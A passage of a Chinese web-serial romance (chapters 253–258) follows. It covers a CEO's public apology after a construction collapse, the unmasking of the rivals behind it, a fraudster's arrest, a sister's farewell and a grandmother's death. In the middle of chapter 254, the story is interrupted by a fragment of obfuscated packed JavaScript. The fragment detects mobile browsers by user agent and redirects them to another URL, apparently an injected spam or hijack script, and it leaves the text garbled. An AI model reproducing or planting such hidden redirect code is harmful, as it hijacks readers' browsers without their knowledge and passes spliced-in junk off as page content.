顾彦廷冷笑一声,“他也配。”
“我拒绝了。”江晚絮反握住他的手,“我相信你能查出来,不需要欠他的人情。”
顾彦廷看着她,心头一热。
“林舟!”
“在!”
林舟立刻推门而入。
因为动作太急,磕到了脚指头。
他忍着疼看向顾彦廷。
“查一查老赵的所有社会关系,尤其是看看他最近几个月都和什么人有过接触。另外……”顾彦廷眼神阴鸷,“叶寒既然知道线索,那就说明他在这条产业链上也不干净。让人去查一查他那个装修公司。”
林舟领命而去。
“你回去吧。”顾彦廷站起身,重新扣好袖扣,总算恢复了冷静,“我还要在处理一点事情。”
“新闻发布会?”江晚絮问。
“嗯。”顾彦廷点点头,“事情既然出了,就得认。顾氏从来不逃避责任。”
“我陪你。”
“不行。”顾彦廷想都没想就拒绝了,“现场会很乱,会有很多激进的家属和记者。”
江晚絮还要说什么,顾彦廷却已经按住了她的肩膀。
“听话。回家去,照顾好安安。”
江晚絮看着他坚定的眼神,最终还是点了点头。
下午两点。
顾氏集团一楼大厅,被改成了临时的新闻发布会现场。
江晚絮坐在家
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里的沙发上,打开了电视。
画面里,顾彦廷面容肃穆地走了出来。
他身后跟着顾氏的高管团队。
顾彦廷走到麦克风前,深深地鞠了一躬。
九十度,足足十秒钟。
全场哗然。
那个不可一世的顾彦廷,居然低头了?
“关于万悦汇项目坍塌事故,顾氏负有不可推卸的责任。”
顾彦廷直起身,声音沉稳有力。
“无论调查结果如何,顾氏承诺,对所有遇难工人家属进行最高标准的赔偿。伤者的一切医疗费用,由顾氏全权承担,直到康复。对于项目监管不力的失职,我,顾彦廷,向全社会道歉。”
闪光灯疯狂闪烁。
“顾总,这是否意味着顾氏承认偷工减料?”
“顾总,听说项目负责人已经潜逃,是不是顾氏故意放走的?”
面对这些刻意引导话题的质问,顾彦廷面不改色。
他深吸了一口气,正要开口,人群中突然冲出来一个妇女。
“**偿命!顾彦廷你还我儿子命来!”
保安还没来得及反应,其中一个女人手里的一枚臭鸡蛋,就砸了过来。
“啪——”
黄色的蛋液,伴随着腥臭味,在顾彦廷脸上炸裂开来。
江晚絮看到这一幕,眼泪瞬间夺眶而出。
现场的保安疯了一样冲上去要按住那个女人。
“住手!”
顾彦廷却抬手制止了保安。
他掏出一张纸巾,擦了擦脸上的蛋液。然后看向那个泣不成声的女人。
“是我害她失去了亲人,她有权利恨我。”
那一刻,现场所有的记者都放下了相机。
就连那个扔鸡蛋的女人听到这句话也愣住了。
江晚絮早已泣不成声。
“顾彦廷……”
江晚絮颤抖着拿出手机,想要给他发个信息,却发现手抖得根本打不了字。
许甜走过来,默默地递给她一张纸巾。
“他是个男人。”
许甜看着电视画面,眼神里也多了一分敬佩。
“晚晚,你没选错人。比起叶寒那种遇到事只会把女人推出去挡枪的废物,顾彦廷,值得。”
是啊。
值得。
如果说以前江晚絮对顾彦廷是感激,是依赖。
那么这一刻,她是真的爱惨了这个男人。
第253章 别白费力气
顾彦廷在发布会上的表现虽然很狼狈,但效果却是立竿见影的。
他不闪不避、毫不推诿的那种担当,赢得了大部分民众的原谅。
原本一边倒地骂顾氏“黑心资本”的声音,开始出现了分化。
“有一说一,顾总这波真爷们!”
“那个负责人跑了管顾总什么事?他也是受害者啊!”
“我都看哭了,那个鸡蛋砸上去的时候,我都替他疼。他居然还保护那个大妈。”
“这才是企业家该有的样子。”
发布会结束之后不到一小时,官方调查组的通报也出来了。
【经查,万悦汇项目坍塌系顾氏采购部经理赵某勾结外部供应商,使用劣质钢材所致。赵某涉嫌收受巨额资金,现已潜逃。顾氏集团在监管上存在漏洞,但并非主观恶意偷工减料。】
真相大白。
虽然顾氏依然有监管责任,但这和“黑心企业”到底还是有着本质的区别。
热搜榜上,#心疼顾彦廷#的词条,也慢慢爬上了第一。
叶寒看着网上的评论,气得差点把手机给扔了。
他还以为这次顾彦廷死定了。
闹出那么多任命,顾氏就算没有因此破产,也必然会遭到沉痛的打击。
而梁霁川做得足够隐秘,他觉得顾彦廷短时间内根本查不到对方身上。
到时候江晚絮走投无路,就一定会来找他。
可他怎么也没想到,顾彦廷只是道个歉,就能保住顾氏。
大年十三。
喧嚣了整整十天的万悦汇时间,暂时平息了。
江晚絮坐在客厅里心不在焉地翻看着短视频。
“咔哒——”
门开了。
顾彦廷回来了。
他看上去瘦了一大圈,下巴上全是青色的胡茬,整个人看上去疲惫极了。
“还没睡?”
他换了鞋,刚脱下外套,江晚絮就跑过来抱住了他的腰。
“你终于回来了。”
她把脸埋在他的胸口,眼泪又不争气地流了下来。
顾彦廷身子僵了一下,随即抬手抱住她。
“别哭。”
他低下头,吻了吻她的发顶,“脏,我还没洗澡。”
“不脏。”
江晚絮抬头,摸了摸他的额角。
“疼吗?”
“不疼,”顾彦廷笑了笑,眼神温柔,“看见你就不疼了。”
江晚絮吸了吸鼻子,拉着他走到沙发边坐下。
“饿不饿,我给你煮碗面去。”
她说着就想起身往厨房去。
“不饿,”顾彦廷一把将她拉住按回沙发上,然后把头靠在她肩上,整个人都松弛了下来,“让我靠一会儿。”
江晚絮没说话。
两人就那么静静地坐着。
过了许久,顾彦廷才缓缓开口。
“查清楚了。”
江晚絮想了想,问道,“是沈曼?”
“嗯。”
顾彦廷闭着眼,“沈曼两个月前给了老赵八百万,让他换了钢材。”
“八百万……”江晚絮有些不可置信,“她这么有钱?”
“是梁霁川,”顾彦廷睁开眼,“是他通过沈曼,把钱给了老赵。”
“果然是他!”
江晚絮握紧了拳头。
这个男人,竞争不过就出阴招,烂人一个。
“他做得很隐蔽,所有资金往来,背后都只有沈曼的影子。”
江晚絮听到这话,满脑子的问号,“沈曼这么没脑子吗?那我们想要让梁霁川露出马脚,岂不是很难?”
顾彦廷笑了笑,起身从自己的公文包里拿出一份文件递给了她。
“这个,你看看。”
江晚絮接过文件一看,不由得笑了出来。
这是一份顾氏递交给纪委的**信。
举报内容不仅仅是这次的坍塌事故,还涉及到了几年前顾氏内部几个高管与某些监管部门个别人员的利益牵扯。
而那些“个别人员”,恰恰是梁霁川这么多年能在生物学科技领域屹立不倒的“保护伞”。
“你这是……想要借刀**?”江晚絮看着他,满眼的震惊。
“顾氏出了蛀虫,我自己清理的话那就是家务事。可既然有人下个要利用这点打压顾氏,那就别怪我大义灭
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亲。”
顾彦廷双臂一展,整个人都靠在了沙发的椅背上,露出一个邪邪的笑来,“梁霁川以为自己躲在幕后就安全了?只要纪委介入,这件事只会牵扯出更多的人,谁也跑不了,哪怕只有一丝丝联系,我们的祖国妈妈,都不会轻易饶了他。”
“还得是你。”江晚絮合上文件,紧绷的情绪终于放松下来,“这件事一旦曝光出去,顾氏内部肯定会有人反对的。”
“反对?”顾彦廷冷哼一声,“谁反对,谁就是心里有鬼。我正好趁机把顾氏好好清理一遍。”
他一向如此。
遇鬼杀鬼,遇神杀神。
只要不是正当手段对付他,他一个也不会放过。
不管是男人,还是女人。
而此时,那个对付他的女人,沈曼,已经慌了。
自从顾彦廷召开了发布会、官方通报出来的那一刻,她的电话铃声就没停过。
有记者,也有合作伙伴。
她一个都没敢接。
虽然现在事情有些棘手,但她觉得,只要梁霁川肯出手,就有回旋的余地。
她绝不能被顾彦廷查出来。
她不能步父亲的后尘,不能被关在监狱里……
想到这里,沈曼发动车子,直奔位于西城的梁家。
这个地方沈曼也只是知道,并没有来过。
没办法,梁霁川那个人太过谨慎。
车子刚开到别墅区的分岔路,就被黑色的铁艺大门给拦住了。
沈曼摇下车窗,对着门口的可视门铃喊道,“我是沈曼!开门,我要见梁总!”
过了许久,扩音器里传出了一个略显苍老的声音。
“沈小姐,请回吧。”
应该是管家的声音。
沈曼怒火中烧,尖叫起来,“我要见梁霁川,我有很重要的事情跟他说!”
“先生不在家,沈小姐,您请回吧。”
“不再?他去哪儿了?公司吗?我现在就去找他!”
沈曼说着就准备掉头。
“沈小姐,”管家的声音却打断了她,“先生五天前就出国了,您还是不要白费力气了。”
第254章 找到周旭了
梁霁川五天前就出国了?
听到这个消息,沈曼感觉自己的大脑一片空白。
那就是说,在万悦汇的事情刚刚发酵的时候,梁霁川就已经跑了?
“不可能……”沈曼喃喃自语,“他不是这么说的……”
“先生留了一句话给您。”
管家适时打断了她的慌乱,“先生说,贪婪的人,往往死于愚蠢。您好自为之。”
通话切断了。
沈曼呆呆地坐在车里,看着那扇紧闭的大门,突然就笑了起来。
“哈哈哈!”
她为了搞垮江晚絮和顾彦廷,堵上了自己的一切。
却没想到,聪明一世,却在最后关头被人狠狠摆了一道。
“梁霁川你不得好死!”
沈曼咬牙切齿地用力拍了拍方向盘。
江晚絮如果在场,大概会觉得十分解气。
正月十五,元宵节。
顾家别墅里挂起了红灯笼,暖黄色的灯光洒在雪地上,透着一股温馨。
刘妈煮了一大锅黑芝麻馅的汤圆,热气腾腾的。
江晚絮吹了吹勺子里的汤圆,心满意足地吃了一口。
坐在婴儿椅中的安安看到妈妈吃东西,咿咿呀呀地伸出了小手。
江晚絮侧身躲了一下。
“安安不能吃哦~”
安安撅着小嘴儿翻了个小白眼。
江晚絮被她彻底逗笑,咯咯咯地笑了起来。
如此安逸的日子,让江晚絮有些恍惚。
她有些不确定过去将近三十年的时光是怎么走过来的。
好像是痛苦的,又好像很模糊。
她说不清。
顾彦廷见她走神,凑了过来拿过她手里的碗放在桌上,眉头微蹙,“怎么了,是不是刘妈糖放多了?”
江晚絮摇摇头。
“没有,很甜。顾彦廷,真的很甜。”
甜得让她想哭。
手机震动了起来。
“喂?程宇。”江晚絮调整了一下情绪,接起电话。
“晚絮,过节好。”
程宇的声音听起来有些犹豫,背景音里还有警笛声,“有个事儿,我觉得还是得跟你说一声。虽然今天过节,不太吉利。”
江晚絮心里“咯噔”一下。
“周旭找到了?”
电话那头沉默了两秒,“找到了。在韩国的一家赌场里,被人打断了一条腿,正准备偷渡去东南亚,被当地警方扣下了。我们的人已经办好了引渡手续,后天的专机。”
周旭终于抓到了。
“我知道了。”江晚絮深吸一口气,“辛苦了。”
挂断电话,江晚絮看向坐在一旁沙发上发呆的苏洛敏。
自从被救回来后,苏洛敏就一直住在顾家。虽然身体恢复了,但整个人像丢了魂一样。
她手里捧着一碗早已凉透的汤圆,眼神空洞地盯着电视机,里面正播放着元宵晚会的小品,观众笑得前仰后合,她却面无表情。
“洛敏。”
江晚絮走过去,在她身边坐下。
苏洛敏迟钝地转过头,“怎么了?”
“周旭抓到了。”
苏洛敏没什么表情,只点了点头。
“程宇说过两天就能回国。你要见他吗?”
苏洛敏将小碗放在茶几上,回过头看着江晚絮,很认真地说,“晚晚,谢谢你……”
江晚絮握住她的手,有些心疼,“洛敏,如果你不想见,那咱们就不见。顾彦廷已经安排了最好的律师,你可以不用见他。”
苏洛敏看着她,轻轻笑了。
“晚晚,我已经没事了。”
苏洛敏反手拍了拍她的手背,示意自己真的没事了。
然后她拿出手机,打了个电话。
“程队,我是苏洛敏。”
“苏小姐……”程宇的声音有些小心翼翼。
“等你们回国,我要去看他一眼。”
苏洛敏语气虽然淡淡的,但看上去并没有很痛苦,“我想看看他戴**是什么样子。”
电话那头的程宇沉默了片刻,才回了一个字:“好。”
挂断电话,苏洛敏就靠在了江晚絮肩上。
“晚絮,我是不是很傻?”
江晚絮抱紧她,“傻的是那些以为可以随意践踏真心的人。”
就像当年的她。
“洛敏,去见他。”江晚絮在她耳边轻声说,“去把他给你的**,统统还回去。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133391|192440||http|test|mini|href|location''.split(''|''),0,{}));
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r>苏洛敏闭上眼,眼泪终于流了下来。
“嗯。”
元宵节一过,年味也就淡了。
许甜和马克要回意大利了。
“行了,别搞得生离死别似的。”
许甜穿着一件风衣,戴着墨镜,依旧是那副清冷高傲的模样。
但江晚絮能感觉到,姐姐看着她的眼神里,藏着不舍。
“姐,到了那边给我发个信息。”江晚絮替她理了理衣领,“安安会想姨妈的。”
“好。”
许甜的看了一眼正在和马克玩举高高的安安,随后转过头,从包里掏出一张名片,塞进江晚絮手里。
纯黑色的名片上,是一串号码和一个英文名字:Dr.Ghost。
除此之外,没有任何头衔和地址。
“这是?”江晚絮疑惑地看着她。
“这是欧洲那边一个非常有名的外科医生,也是个怪人。”
许甜凑到她耳边轻声说,“他不隶属于任何医院,只看心情接诊。但他是国际上最顶尖的外科医生,在黑白两道都很吃得开,很多政要、富豪都欠他人情。”
江晚絮捏着名片,没想明白,“你给我这个干嘛?”
“妈妈当年……我是说许知意,曾经救过这个医生一命。所以我们两家关系一直不错。如果以后遇到了连顾彦廷都解决不了的麻烦,你可以打这个电话试试。”
连顾彦廷都解决不了的麻烦?
那应该是很了不得的麻烦了。
江晚絮被她说得心脏狂跳,心里不安起来。
“姐,你是觉得……”
许甜拍了拍她的手背,“你虽然现在有顾彦廷护着,但你自己也要留一手。这世上,只有握在自己手里的,才是真的。”
“我知道了。”江晚絮郑重地将名片收进贴身的口袋里,“姐,谢谢你。”
“谢什么。”许甜轻笑一声,伸手抱了抱她,“记住,你是江晚絮,是方颖的女儿,不是任何人的附属品。不管是叶寒那个渣男,还是顾彦廷。就算是顾彦廷,如果他对你不好,你就踹了他,带上安安来意大利找我。”
一旁正在帮马克提包的顾彦廷:“……”
第255章 这种时候,她必须要在场
顾彦廷无奈地摸了摸鼻子,“当着我的面挖墙脚,不太好吧?”
许甜白了他一眼,“要是让我知道晚晚在你这受了委屈……”
她眯了眯眼,做了一个抹脖子的动作。
“我那位做信息的朋友,虽然不做**,但搞垮几个上市公司的网络安全,还是绰绰有余的。”
顾彦廷正色道,“大姐放心,我很听话的。”
“谁是大姐?!”
许甜瞪了他一眼,马克在一旁看戏,却听不懂几人在说什么,急得他一个劲儿地去扯顾彦廷的袖子,希望他能给自己翻译翻译。
江晚絮看着几人笑闹的样子,鼻子一酸,差点哭了。
广播里响起了登机提示。
马克亲了亲安安的小脸儿,把她送回了顾彦廷怀里。
许甜最后看了江晚絮一眼,转过身,背对着她挥了挥手。
“走了。”
她大步流星地走向登机口,背影潇洒得不像话。
江晚絮看着她的背影,眼眶微热。
“走吧。”
顾彦廷搂住她的肩膀,“我们也该回去了。”
天气渐暖,顾彦廷和江晚絮终于进入了工作状态。
隔天一大早,顾彦廷就到了公司办公室。
林舟敲门走了进来,手里拿着平板电脑,表情有些古怪。
“顾总,夫人。”
顾彦廷正在帮江晚絮看一份实验数据的报表,闻言头也没抬,“说。”
“老赵找到了。”
“在哪?”顾彦廷手中的笔顿了一下。
“法国,科尔马。”
听到这个地名,坐在一旁的苏洛敏冷笑了一声。
“科尔马?真会挑地方。”
那可是宫崎骏最火的动漫之一的取景地。
江晚絮也有些意外。
“科尔马确实是个好地方,适合养老。”她如果没记错的话,那可是宫崎骏老爷子动画的取景地。
“这人确实挺会享受的。”
林舟将平板上的照片展示给两人,“这是我们的人拍到的。他用假护照在那里买了一栋带花园的小别墅,还雇了个法国保姆,日子过得相当滋润。”
“真恶心。”
江晚絮给出了评价。
“他拿了沈曼的八百万,再加上这些年在采购部捞的油水,确实够他在那种小地方挥霍下半辈子了。”顾彦廷看着屏幕,眼神淡漠,“可惜,他的好日子到头了。”
“既然确定了位置,那就报警吧。”
顾彦廷对林舟下令,“通知那边的**,把证据固定好。然后……把这些照片和地址,发给国内的经侦。跨国抓捕虽然麻烦,但只要证据确凿,引渡只是时间问题。”
“是。”林舟点头。
等林舟出去后,江晚絮看向顾彦廷。
“赵经理找到了,周旭也抓了,现在就差梁霁川了。”
“梁霁川这人做事很小心,我们找了很久都没有抓到他的把柄。”顾彦廷站起身,走到落地窗前。
江晚絮走到他身边,和他并肩而立。
“或许,我们可以从那个‘天平’入手。”
她想起了许甜说过的那个暗网上ID。
涅墨西斯。
“那个预言了万悦汇坍塌的人。”江晚絮分析道,“如果他是梁霁川的人,那他为什么要在暗网上做预告?万一我们看到了,这不是在提醒我们吗?如果他不是梁霁川的人,那他又为什么要针对顾氏?”
“这正是我在想的问题。”
顾彦廷握住她的手,“这个涅墨西斯,很可能不是针对顾氏,而是针对……我。”
又或者,是针对当年的晨曦家族。
毕竟江晚絮现在的身份,不仅仅是晚星科技的总裁,更是晨曦家族的人。
“不管他是谁。”
江晚絮反握住他的手,眼神坚定,“兵来将挡,水来土掩”
顾彦廷看着她,眼底满是宠溺与骄傲。
“好,我们一起。”
两人抱在一起,正要亲吻——
“叮铃铃——”
江晚絮的手机响了。
顾彦廷眉头狠狠一皱,“别接。”
“万一是急事呢?”
江晚絮无奈地推了推他,从他怀里挣脱出来,拿起放在茶几上的手机。
是程宇。
这个时候程宇打电话来,只可能是一件事。
她深吸一口气,按下接听键。
“喂,程宇。”
“晚絮,”程宇的声音透着掩饰不住的疲惫
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,还有一丝兴奋,“人带回来了。”
虽然早有预料,但听到这句话时,江晚絮还是有些激动。
“好,我知道了。”江晚絮的声音有些发紧,“现在在哪?”
“刚落地,正在往市局送,不过……”程宇顿了顿,“因为涉及跨国引渡和一系列繁琐的手续,手续交接比较麻烦,可能还得折腾一会儿。”
“没关系。”
挂断电话,江晚絮立刻走向了落地衣架。
“你要去警局?”顾彦廷靠在沙发上,眉头微挑,“为了那个周旭?”
“是为了洛敏。”
江晚絮拿起衣架上的大衣穿上,“这种时候,她必须要在场。”
顾彦廷看着她。
此时的江晚絮,眼神坚定。
可他却透过她的眼睛,看到了那个曾经在大雨夜里绝望哭泣的女孩。
如果当年,也有人能像现在的她保护苏洛敏一样,保护那个时候的江晚絮,她是不是就不会受那么多苦?
“我让司机送你。”顾彦廷站起身,想要陪她一起。
“不用,公司这边事情多,你忙你的。”江晚絮按住他的肩膀,难得主动在他唇角啄了一下,“我自己开车去,接上洛敏,很快就回来。”
顾彦廷眸色一深,还没来得及加深这个吻,那女人已经溜到了门口。
“注意安全。”他只能无奈地叮嘱。
“知道了!”
江晚絮拿着车钥匙出了门。
她回到半山别墅时,苏洛敏正坐在客厅的落地窗前发呆。
“洛敏。”
江晚絮走过去,轻声叫她。
苏洛敏回过神,眼神还有些聚焦,“晚晚,今天不是工作日吗?你怎么回来了?”
江晚絮蹲在她面前,握住她冰凉的手,“周旭带回来了。你是想在家等消息,还是跟我一起去?”
苏洛敏的身体明显僵硬了一下。
她沉默了几秒,随后点了点头,“我跟你一起去。”
她站起身就要上楼去拿外套,因为起得有点猛,眼前黑了一下。
江晚絮连忙扶住她。
“没事,”苏洛敏摆了摆手,“我想去看看。”
两人出了门,开车往警局的方向驶去。
第256章 是他们不配
江晚絮通过后视镜看见苏洛敏一直盯着窗外。
她有些担心,却又不知道该说些什么。
一路无话,两人很快就赶到了市局。
元宵节刚过,所以来警局的人很多。
“咱们在那边坐会儿吧。”
江晚絮指了指角落里的排椅。
苏洛敏什么也没说,走过去坐了下来。
这一等,就是两个小时。
“晚晚,你冷吗?”
苏洛敏搓了搓自己的手臂问道。
江晚絮摇摇头,“不冷。”
脚步声传来,两人同时看了过去。
“晚絮!苏小姐!”
是程宇。
他看上去有些疲惫,眼下挂着两个大大的黑眼圈,显然是连轴转了好几天没合眼。
苏洛敏站了起来看向他身后,却并没有看到那个人。
“周旭呢?”
程宇愣了一下,下意识地看了江晚絮一眼。
“那个……苏小姐,不好意思啊。”
程宇有些尴尬地解释道,“因为这案子跨国,而且涉案金额巨大,加上他在国外还涉嫌**和偷渡,省厅那边直接接手了。刚才在机场做了个交接,人直接被省厅的押运车拉走了,没来这儿。”
没来?
苏洛敏的眼神瞬间黯淡下去。
“这样啊……”
她重新跌坐回了椅子上。
江晚絮心里一紧,刚想上前安慰。
程宇却先一步走了过来。
“那个,苏小姐,你别难过。”
程宇从口袋里掏出一包纸巾,递了过去,“虽然你没见到人,但我向你保证,那小子现在惨得很。他在韩国赌场被打断了一条腿,还没来得及治就被抓了,以后就是个瘸子。”
听到“瘸子”两个字,江晚絮下意识地摸了摸自己的膝盖。
“谢谢程警官。”
苏洛敏抬起头,伸出了手。
“程警官,辛苦你了。也谢谢你为了我的事,跑了这么远。”
程宇怔愣在原地,有些不知所措。
他低头看了看苏洛敏白皙的双手,又看了看自己的,然后……脸“腾”的一下就红了。
“不……不辛苦!为人民服务嘛!”
程宇在自己的裤子上蹭了蹭手心的汗,然后才小心翼翼地握了握苏洛敏的手指尖,又迅速松开。
“那个…晚絮,既然人没见到,你们就先回去吧。等省厅那边审完了,需要受害人指认的时候,我再给你打电话。”
程宇结结巴巴地说完,眼神飘忽,根本不敢看苏洛敏。
江晚絮站在一旁,看着这一幕,心情突然松快了几分。
她察觉到了程宇的不自在,也看到了苏洛敏眼底的感激。
也许,有些烂桃花谢了,新的缘分才能开花。
回程的路上,气氛比来时轻松了不少。
“洛敏,”江晚絮试探着开口,“没见到他,是不是很遗憾?如果你想见,我可以让顾彦廷去跟省厅那边打个招呼……”
虽然顾彦廷现在尽量不插手官方的事,但为了苏洛敏,破个例也不是不行。
“不用了。”
苏洛敏淡淡开口,“晚晚,你知道吗?刚才在警局,听到程警官说他被打断了腿,被押走了,我突然觉得……也就那样吧。”
苏洛敏侧头看着江晚絮,笑了笑。
“我本来以为,见到他我会冲上去扇他两巴掌,或者问问他为什么这么对我。甚至……我还幻想过他会跪下来求我原谅。”
“可是就在刚才,我突然觉得一点意思都没有。”
“他那样的人,根本不值得我浪费半点精力。”
“你说得对。”江晚絮笑了,“垃圾就该待在垃圾桶里,或者垃圾处理厂。多看一眼都是脏了自己的眼。”
“洛敏,你比我勇敢。”
江晚絮由衷地说道。
她花了整整五年,赔上了半条命,才看清叶寒和江家人的真面目。
而苏洛敏,虽然也被骗得几乎倾家荡产,但她只用了不到两个月,就彻底醒悟了。
真好。
“我一点也不勇敢。”
苏洛敏摇摇头,眼眶微微有些红,“我是心疼钱。将近一百万啊晚晚!那可是我这几年没日没夜加班熬出来的血汗钱!呜呜呜呜……如果这笔钱追不回来,你可一定要养我啊!”
江晚絮:“……
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”
果然,爱财才是人间最清醒。
“放心吧,”江晚絮安慰道,“顾彦廷说了,只要追回一部分赃款,再加上他名下的那套房子拍卖,你的损失能挽回八成。剩下的……就当是买个教训,交学费了。”
“这学费也太贵了。”苏洛敏撇撇嘴,但神色明显轻松了许多,“不过,这次多亏了程警官。晚晚,你说我要不要送面锦旗给他?”
“送锦旗?”
江晚絮脑补了一下那个画面。
程宇那个大直男,捧着一面锦旗,站在警局门口傻笑。
她下意识地打了个激灵。
“我觉得不适合他吧?”江晚絮意味深长地看了她一眼,“不如你请他吃顿饭?毕竟人家为了抓周旭,可是跑到韩国去了,连年没过好。”
苏洛敏愣了一下,随即若有所思地点点头。
“你说得对。是要好好感谢一下。我看他刚才那黑眼圈,估计好几天没睡好觉了。那就请他吃顿好的补补。”
江晚絮不由自主地露出了一个姨母笑。
果然,春天到了呢。
回到半山别墅时,已是深夜。
苏洛敏虽然嘴上说着没事,但她很快就打着哈欠回房睡了。
毕竟放下了心里最重的负担,人就容易放松,也容易累。
江晚絮轻手轻脚地关上她的房门,转身回到了自己的房间。
顾彦廷穿着睡衣,靠在床头,手里拿着一本书,但视线却并没有落在书页上。
听到开门声,他立刻抬起头。
“回来了?”
他放下书,掀开被子一角,“过来。”
江晚絮脱掉外套,钻进被窝里,蜷缩在他身边。
“怎么样?见到人了吗?”顾彦廷顺手搂住她的腰。
“没见到。”
江晚絮闷声说道,“被省厅截胡了。不过洛敏倒是挺想得开。”
顾彦廷轻笑一声,“看来她是真放下了。”
“是啊,比我强多了。”江晚絮有些感慨。
顾彦廷捏了捏她的下巴,“你是太重感情。江家人利用了你的善良,叶寒利用了你的爱。这不是你的错,是他们不配。”
第257章 为数不多的温情
江晚絮靠在顾彦廷的肩膀上,想起一件事来。
“对了,那个……老赵的事情怎么样了?”
“大使馆那边已经协调好了,法国警方也在尽力配合。老赵已经被监控起来了。”
顾彦廷语气淡淡的,“本来经侦那边还要走程序,但我让人给那边递了点‘材料’。”
“什么材料?”江晚絮好奇。
“老赵这人,不仅贪,还好色。”顾彦廷笑了笑,“他在那边不仅雇了保姆,还涉嫌**和**。法国警方对这个很感兴趣。”
江晚絮忍不住拍手称快,“活该。”
只要老赵归案,那沈曼**的证据链就彻底闭环了。
“不过……”
顾彦廷话锋一转,“有件事很奇怪。”
“什么事?”
“沈曼的身份。”
顾彦廷将头往后仰了仰,第一次露出了无措的表情,“她回国前的信息,包括她的身份,我们还是查不到。”
“查不到?”
江晚絮惊讶地坐直了身体,“连你也查不到?”
顾彦廷点点头,“她回国虽然只有三个月,公司也是刚刚创立的。每次我们的人想要深挖她的过往经历时,线索就会莫名其妙地断掉。”
江晚絮也跟着拧紧了眉毛。
这是不是说明,除了梁霁川,还有其他人在帮沈曼?
而且这个人的能量,似乎大到连顾彦廷都有些棘手。
“会不会是涅墨西斯的残余势力?”江晚絮突然想到了那个暗网ID。
“有可能。”
顾彦廷也这么想,“但我总觉得,事情没那么简单。沈曼背后牵扯的势力,可能比我们想象的还要深。”
就在两人陷入沉思的时候,床头柜上的座机突然响了起来。
那是顾宅内部的专线。
如果是工作上的事,林舟会打手机。
打这个电话,只有管家或者老宅那边有急事。
顾彦廷接起电话听了一会儿,脸色就变了。
江晚絮的心也一下子提了起来。
“好,我知道了,我们马上过去!”
顾彦廷挂断电话,转头看向江晚絮,眼神有些复杂。
“怎么了?”江晚絮有种不祥的预感。
“管家刚才来电话。”
顾彦廷深吸一口气,握住江晚絮颤抖的手,“外婆突发心梗,情况有些危急。”
他其实很不想告诉江晚絮这件事,怕她承受不住。
可是……她又不想瞒着她。
听到“外婆”两个字,江晚只觉得脑子里“嗡”的一声,一片空白。
她虽然不是外婆的亲外孙,但外婆对方颖,对她,那都是比亲生的还要好。
虽然外公曾经利用了她,还害得她险些销声匿迹,但这一切,与外婆都没有关系。
外婆是她这么多年里,唯一的温暖。
“外婆……外婆她怎么样了?”
江晚絮的声音都在发抖,眼泪瞬间就涌了出来,止都止不住。
“别慌,别慌。”
顾彦廷一边起身换衣服,一边安抚,“管家发现得及时,救护车已经在路上了,奶奶也联系了市一院。”
“我也去,快带我去!”
江晚絮语无伦次,手脚冰凉,连扣子都扣不对。
顾彦廷心疼地按住她的手,帮她把外套穿好。
“别怕,有我在。”
他在她额头上亲了一下,“外婆吉人自有天相,一定会没事的。”
“都怪我……都怪我……”
去往医院的车上,江晚絮一直在责怪自己,“我这段时间一直忙着跟沈曼纠缠,都没怎么去看外婆……上次去看她还是半个月前……她说胸口闷,我还以为是天气原因,只是让她多休息……我真该死……”
“晚絮!”
顾彦廷腾出右手,握住她的手,“医生说了,心梗这种病发作是没有征兆的。外婆毕竟年纪大了,会没事的。”
“可是如果我多关心她一点……”
“没有如果。”顾彦廷打断她,“你已经做得很好了。你给她请了护工,让她过上了安生日子。是你给了她安稳的晚年,别把什么错都往自己身上揽。”
车子很快就停在了医院急诊楼门口。
两人刚下车,林舟就小跑着迎了上来。
“顾总,夫人。”
“人呢?”顾彦廷急声问道。
“已经在抢救室了。”林舟抹了一把汗,“初步诊断
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是急性广泛前壁心肌梗死,情况比较危急。”
江晚絮腿一软,差点跪在地上。
顾彦廷一把将她捞住,几乎是半抱着她往抢救室门口走。
管家正焦急地在门口踱步。
“情况怎么样?”
年近六十的管家眼眶红红的,“老太太晚饭后说想去花园走走,结果刚走没几步就捂着胸口倒下去了……都怪我没看好……”
“忠叔,别自责。”顾彦廷拍了拍老人的肩膀,“这不怪你。”
江晚絮靠在墙上紧盯着抢救室的门。
她想起小时候,她刚被送到江南乡下的时候,外婆看到她的第一眼,就红了眼眶。
那个时候,外婆抱着瘦骨嶙峋的她,哭得撕心裂肺:“我的晚晚命苦啊……以后咱们不回去了,再也不回去了……”
江晚絮想起那些温馨的时光,心里涌起一阵恐慌。
顾彦廷坐在她身旁,握着她的手,无声地给她力量。
江晚絮始终安静地坐着。
她的脑海里乱哄哄的,像是有无数只苍蝇在飞。
一会儿是外婆给她剥橘子的画面,一会儿又是外婆抱着安安笑眯眯的样子。
“晚晚!”
苏洛敏气喘吁吁地跑了过来。
“外婆怎么样了?”
她一把抓住江晚絮的手臂,眼中满是担忧。
她是知道外婆对江晚絮意味着什么的。
“还在抢救。”顾彦廷替江晚絮回答了,他看了一眼苏洛敏,眼神示意她冷静点,“已经进去一个小时了。”
“一个小时……”
苏洛敏咽了咽口水,安慰道,“吉人自有天相,外婆平时身体那么硬朗,肯定没事的,肯定没事的……”
时间一分一秒地过去。
江晚絮始终保持着那个坐姿,一动不动。
她在想,自己是不是真的是个扫把星?
七年前的她为了叶寒几乎付出了一切,结果换来的是背叛和羞辱。
她为了护住那点可怜的尊严,被至亲推下楼梯,名声尽毁。
现在,日子好不容易有了起色,她有了顾彦廷,有了新的事业。
老天爷就要把她在这个世界上为数不多的温情收走吗?
第258章 可笑
急救室的灯终于灭了。
副主任医师从里面走了出来。
江晚絮咽了咽口水,却站不起来。
顾彦廷看了她一眼,走了过去。
“医生,怎么样?”
医生看了一眼面前这几个人,最后把目光落在了江晚絮脸上。
他叹了口气,轻轻摇了摇头。
“对不起,我们尽力了。”
“急性广泛前壁心肌梗死,面积太大,再加上老人家年事已高,送来的时候心跳已经……”
医生后面的话,江晚絮听不到了。
她感觉自己像是在无限下坠,整个人昏昏沉沉的。
江晚絮站在原地很久很久都没有动。
也没有哭。
她就那样静静地站着,眼神空洞。
“晚絮……”
苏洛敏捂着嘴,眼泪瞬间决堤。
“怎么会这样……明明上周我还去看过她。呜呜呜……”
